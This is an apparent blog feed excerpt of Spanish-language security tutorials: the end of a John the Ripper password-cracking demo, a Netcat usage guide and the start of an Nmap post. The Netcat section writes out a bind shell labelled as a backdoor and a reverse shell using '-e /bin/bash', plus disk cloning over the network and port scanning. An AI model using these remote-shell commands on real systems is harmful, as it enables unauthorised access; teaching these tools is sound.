style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Iniciar el John para la desencriptación:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;$john-1.7.8/run/john /home/pruebas/filetocrack&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;2 segundos después encontró el password que le coloque al usuario user1:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;Loaded 1 password hashes with 1 different salts (FreeBSD MD5 [32/64 X2])&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;12345            (user1)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;&lt;span style="font-weight: bold;"&gt;NOTA1:&lt;/span&gt; Cabe de anotar que el password era demasiado fácil por eso lo encontró en 2 segundos …&lt;/span&gt;&lt;/p&gt;&lt;span lang="es-ES"&gt;&lt;span style="font-weight: bold;"&gt;NOTA2: &lt;/span&gt;Para mas formas de uso del john;  leer la documentación  que está dentro del paquete del John Ripper.&lt;/span&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Gracias...&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-3327343960640399742?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/3327343960640399742/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/john-ripper-herramienta-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/3327343960640399742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/3327343960640399742'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/john-ripper-herramienta-de.html' title='John the Ripper - Herramienta de Desencriptamiento'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-o0BBPDb1qdc/Tqj404WbD0I/AAAAAAAABbM/Vzo3QGqiR1s/s72-c/John_the_ripper.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-8313534627946752023</id><published>2011-10-25T21:25:00.000-07:00</published><updated>2011-10-26T23:51:23.240-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><category scheme='http://www.blogger.com/atom/ns#' term='Cracking'/><category scheme='http://www.blogger.com/atom/ns#' term='Netcat'/><title type='text'>Netcat - Herramienta para redes</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-rOSYuWo2v-0/TqeYlRtQ_dI/AAAAAAAABaA/etMjPsNeL3w/s1600/netcat.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 171px; height: 230px;" src="http://3.bp.blogspot.com/-rOSYuWo2v-0/TqeYlRtQ_dI/AAAAAAAABaA/etMjPsNeL3w/s320/netcat.jpg" alt="" id="BLOGGER_PHOTO_ID_5667666422244900306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://netcat.sourceforge.net/"&gt;&lt;b&gt;Netcat&lt;/b&gt;&lt;/a&gt; es una &lt;a href="http://es.wikipedia.org/w/index.php?title=Herramienta_de_red&amp;amp;action=edit&amp;amp;redlink=1" class="new" title="Herramienta de red (aún no redactado)"&gt;herramienta de red&lt;/a&gt; originalmente desarrollada por Hobbit en &lt;a href="http://es.wikipedia.org/wiki/1996" title="1996"&gt;1996&lt;/a&gt; y liberada bajo una &lt;a href="http://es.wikipedia.org/wiki/Licencia_de_software" title="Licencia de software"&gt;licencia&lt;/a&gt; de &lt;a href="http://es.wikipedia.org/wiki/Software_libre" title="Software libre"&gt;software libre&lt;/a&gt; permisiva (no &lt;a href="http://es.wikipedia.org/wiki/Copyleft" title="Copyleft"&gt;copyleft&lt;/a&gt;, similar a BSD, MIT) para UNIX. Posteriormente fue portada a &lt;a href="http://es.wikipedia.org/wiki/Windows" title="Windows" class="mw-redirect"&gt;Windows&lt;/a&gt; y &lt;a href="http://es.wikipedia.org/wiki/Mac_OS_X" title="Mac OS X"&gt;Mac OS X&lt;/a&gt; entre otras plataformas. Netcat permite a través de intérprete de comandos y con una sintaxis sencilla abrir &lt;a href="http://es.wikipedia.org/wiki/Puerto_de_red" title="Puerto de red"&gt;puertos&lt;/a&gt; &lt;a href="http://es.wikipedia.org/wiki/TCP" title="TCP"&gt;TCP&lt;/a&gt;/&lt;a href="http://es.wikipedia.org/wiki/UDP" title="UDP" class="mw-redirect"&gt;UDP&lt;/a&gt; en un &lt;a href="http://es.wikipedia.org/w/index.php?title=HOST&amp;amp;action=edit&amp;amp;redlink=1" class="new" title="HOST (aún no redactado)"&gt;HOST&lt;/a&gt; (quedando netcat a la escucha), asociar una &lt;a href="http://es.wikipedia.org/wiki/Shell" title="Shell"&gt;shell&lt;/a&gt; a un puerto en concreto (para conectarse por ejemplo a &lt;a href="http://es.wikipedia.org/wiki/MS-DOS" title="MS-DOS"&gt;MS-DOS&lt;/a&gt; o al intérprete &lt;a href="http://es.wikipedia.org/wiki/Bash" title="Bash"&gt;bash&lt;/a&gt;  de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo  para realizar rastreos de puertos o realizar transferencias de archivos  bit a bit entre dos equipos). Existen muchos &lt;a href="http://es.wikipedia.org/wiki/Bifurcaci%C3%B3n_%28desarrollo_de_software%29" title="Bifurcación (desarrollo de software)"&gt;forks&lt;/a&gt; de esta herramienta que añaden características nuevas como GNU Netcat o Cryptcat.&lt;/p&gt; &lt;p&gt;Entre sus múltiples aplicaciones, es frecuente la depuración de  aplicaciones de red. También es utilizada a menudo para abrir puertas  traseras en un sistema.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Aunque &lt;a href="http://netcat.sourceforge.net/"&gt;&lt;tt&gt;netcat&lt;/tt&gt;&lt;/a&gt; puede hacer muchas cosas, su función principal es muy simple:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;1.&lt;/span&gt; Crea un socket con el destino indicado si es cliente, o en el puerto indicado, si es servidor&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;2.&lt;/span&gt; Una vez conectado, envía por el socket todo lo que llegue en su entrada  estándar y envía a su salida estándar todo lo que llegue por el socket&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Instalación netcat&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Slackware:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;#slackpkg install nc-1.10-x86_64-1&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Ubuntu - Debian:&lt;/p&gt;&lt;p&gt;#apt-get install nc&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Fedora - Red Hat - Centos:&lt;/p&gt;&lt;p&gt;#yum install nc&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Windows 98 - Xp - 7&lt;/span&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Descargar de&lt;a href="http://joncraton.org/files/nc111nt.zip"&gt; aquí&lt;/a&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Ayuda y parámetros de uso&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;NOTA:&lt;/span&gt; Se debe usar como usuario root.&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;#nc -h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;[v1.10]&lt;br /&gt;connect to somewhere:   nc [-options] hostname port[s] [ports] ...&lt;br /&gt;listen for inbound:     nc -l -p port [-options] [hostname] [port]&lt;br /&gt;options:&lt;br /&gt;      -e prog                 program to exec after connect [dangerous!!]&lt;br /&gt;      -b                      allow broadcasts&lt;br /&gt;      -g gateway              source-routing hop point[s], up to 8&lt;br /&gt;      -G num                  source-routing pointer: 4, 8, 12, ...&lt;br /&gt;      -h                      this cruft&lt;br /&gt;      -i secs                 delay interval for lines sent, ports scanned&lt;br /&gt;      -l                      listen mode, for inbound connects&lt;br /&gt;      -n                      numeric-only IP addresses, no DNS&lt;br /&gt;      -o file                 hex dump of traffic&lt;br /&gt;      -p port                 local port number&lt;br /&gt;      -r                      randomize local and remote ports&lt;br /&gt;      -q secs                 quit after EOF on stdin and delay of secs&lt;br /&gt;      -s addr                 local source address&lt;br /&gt;      -t                      answer TELNET negotiation&lt;br /&gt;      -u                      UDP mode&lt;br /&gt;      -v                      verbose [use twice to be more verbose]&lt;br /&gt;      -w secs                 timeout for connects and final net reads&lt;br /&gt;      -z                      zero-I/O mode [used for scanning]&lt;br /&gt;port numbers can be individual or ranges: lo-hi [inclusive]&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Ejemplos de uso.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;NOTA:           &lt;/span&gt;&lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;&lt;/style&gt;Para entender el funcionamiento perfecto del netcat, el lector debe saber perfectamente la teoría de Cliente/Servidor,&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Chat entre dos máquinas:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Servidor:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc -l -p 1234&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Cliente:&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc IP-SERVER 1234&lt;/p&gt;&lt;p&gt;o&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#telnet IP-SERVER 1234&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Transferencia de archivos: &lt;/span&gt; &lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Servidor:&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc -l -p 1234 &amp;lt; /etc/hostname&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Cliente:&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;#nc IP-SERVER 1234&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Mini servidor de tiempo: &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Servidor:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;#nc -l -p 1234 -e /bin/date&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Cliente:&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc IP-SERVER 1234&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Shell remota - como para una puerta trasera:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Servidor:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc -l -p 1234 -e /bin/bash&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Cliente:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc IP-SERVER 1234&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Tunel inverso&lt;/span&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Servidor:&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc -l -p 1234&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Cliente:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc IP-SERVER 1234 -e /bin/bash&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Cliente de IRC:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Servidor:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;#nc irc.freenode.net 6667&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;:adams.freenode.net NOTICE * :*** Looking up your hostname...&lt;br /&gt;:adams.freenode.net NOTICE * :*** Checking Ident&lt;br /&gt;:adams.freenode.net NOTICE * :*** Couldn't look up your hostname&lt;br /&gt;:adams.freenode.net NOTICE * :*** No Ident response&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nick nonone&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;USER nonone nonone nonone :nonone&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;:adams.freenode.net 001 nonone :Welcome to the freenode Internet Relay Chat Network nonone&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;:adams.freenode.net 002 nonone :Your host is adams.freenode.net[94.125.182.252/6667], running version ircd-seven-1.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;:adams.freenode.net 003 nonone :This server was created Thu Sep 8 2011 at 15:12:05 CEST&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;NOTA:&lt;/span&gt; Lo que esta en negrita es lo que debes escribir.&lt;/p&gt;&lt;p&gt;&lt;span style="font-style: italic;"&gt;Luego puedes utilizar cualquiera de estos comandos:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;LIST&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;JOIN &lt;span style="color: rgb(0, 0, 0);"&gt;#canal&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;PART&lt;span style="color: rgb(0, 0, 0);"&gt; #canal&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;PRIVMSG &lt;span style="color: rgb(0, 0, 0);"&gt;#canal&lt;span style="color: rgb(153, 0, 0);"&gt; :mensaje&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;WHO&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;QUIT&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Servidor http sencillo:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Servidor:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc -l -p http -c “cat index.html”&lt;/p&gt;&lt;p style="font-style: italic; font-weight: bold;"&gt;Mas perfecto seria:&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;# while true; do nc -l -p 80 -q 1 &amp;lt; index.html; done&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Cliente:&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#echo “GET /” | nc &lt;a href="http://www.google.com/" title="www.google.com"&gt;www.google.com&lt;/a&gt; 80 &amp;lt; index.html&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Streaming de audio: &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Servidor:&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;#nc -l -p 1234 &amp;lt; fichero.mp3&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Cliente:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;#cat *.mp3 | nc -l -p 1234&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Streaming de video:&lt;/span&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Servidor:&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;#nc -l -p 1234 &amp;lt; pelicula.avi&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Cliente:&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc server.example.org 1234 | mplayer -&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;PortForward o Proxy:&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc -l -p 1234 -c “nc example.org 22”&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Clonar un disco a traves de la red:&lt;/span&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Servidor:&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;#dd if=/dev/sda1 | nc -l -p 1234&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Cliente:&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc server.example.org 1234 | dd of=pendrive.img&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#mount pendrive.img -r -t vfat -o loop /mnt/usb&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Ver la Guerra de las galaxias:&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(153, 0, 0);"&gt;#nc towel.blinkenlights.nl 23&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Usado como escaner de red: &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;# nc -z -w 3 -v localhost 1-2000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;localhost [127.0.0.1] 1234 (?) open&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;localhost [127.0.0.1] 113 (auth) open&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;localhost [127.0.0.1] 37 (time) open&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Suplantando cabeceras HTTP:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;# nc google.com 80             &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;GET / HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;Host: google.com&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;User-Agent: NOT-YOUR-BUSINES&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;Referrer: YOUR-MOM.COM&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Luego dar enter - y veras como cambia la respuesta !!!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;La verdad hay muchísimas combinaciones de netcat, para hacer auditorias de seguridad.&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Gracias, espero les guste.&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-8313534627946752023?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/8313534627946752023/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/netcat.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8313534627946752023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8313534627946752023'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/netcat.html' title='Netcat - Herramienta para redes'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-rOSYuWo2v-0/TqeYlRtQ_dI/AAAAAAAABaA/etMjPsNeL3w/s72-c/netcat.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-7591543215096033836</id><published>2011-10-24T19:00:00.000-07:00</published><updated>2011-10-25T22:30:05.989-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><category scheme='http://www.blogger.com/atom/ns#' term='Nmap'/><title type='text'>Nmap - Escaner de redes</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-6uCmiUy0JTs/TqYgyXRplbI/AAAAAAAABZ0/PGV--kUl0Kg/s1600/nMap.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 308px; height: 238px;" src="http://3.bp.blogspot.com/-6uCmiUy0JTs/TqYgyXRplbI/AAAAAAAABZ0/PGV--kUl0Kg/s320/nMap.jpg" alt="" id="BLOGGER_PHOTO_ID_5667253230705939890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;     &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }   A:link { so-language: zxx }  --&gt;&lt;/style&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;b&gt;Nmap&lt;/b&gt; es un programa &lt;a href="http://es.wikipedia.org/wiki/Software_de_c%C3%B3digo_abierto"&gt;de código abierto&lt;/a&gt; que sirve para efectuar &lt;a href="http://es.wikipedia.org/wiki/Esc%C3%A1ner_de_puertos"&gt;rastreo de puertos&lt;/a&gt; escrito originalmente por &lt;a href="http://es.wikipedia.org/w/index.php?title=Gordon_Lyon&amp;amp;action=edit&amp;amp;redlink=1"&gt;Gordon Lyon&lt;/a&gt; (más conocido por su alias &lt;i&gt;Fyodor Vaskovich&lt;/i&gt;). Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática.&lt;br /&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Características:  &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Descubrimiento de servidores:  Identifica computadoras en una red, por ejemplo listando aquellas  que responden &lt;a href="http://es.wikipedia.org/wiki/Ping"&gt;ping&lt;/a&gt;.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Identifica &lt;a href="http://es.wikipedia.org/wiki/Puerto_%28computaci%C3%B3n%29"&gt;puertos&lt;/a&gt;  abiertos en una &lt;a href="http://es.wikipedia.org/wiki/Computadora"&gt;computadora&lt;/a&gt;  objetivo.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Determina qué servicios está  ejecutando la misma.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Determinar qué &lt;a href="http://es.wikipedia.org/wiki/Sistema_operativo"&gt;sistema  operativo&lt;/a&gt; y versión utiliza 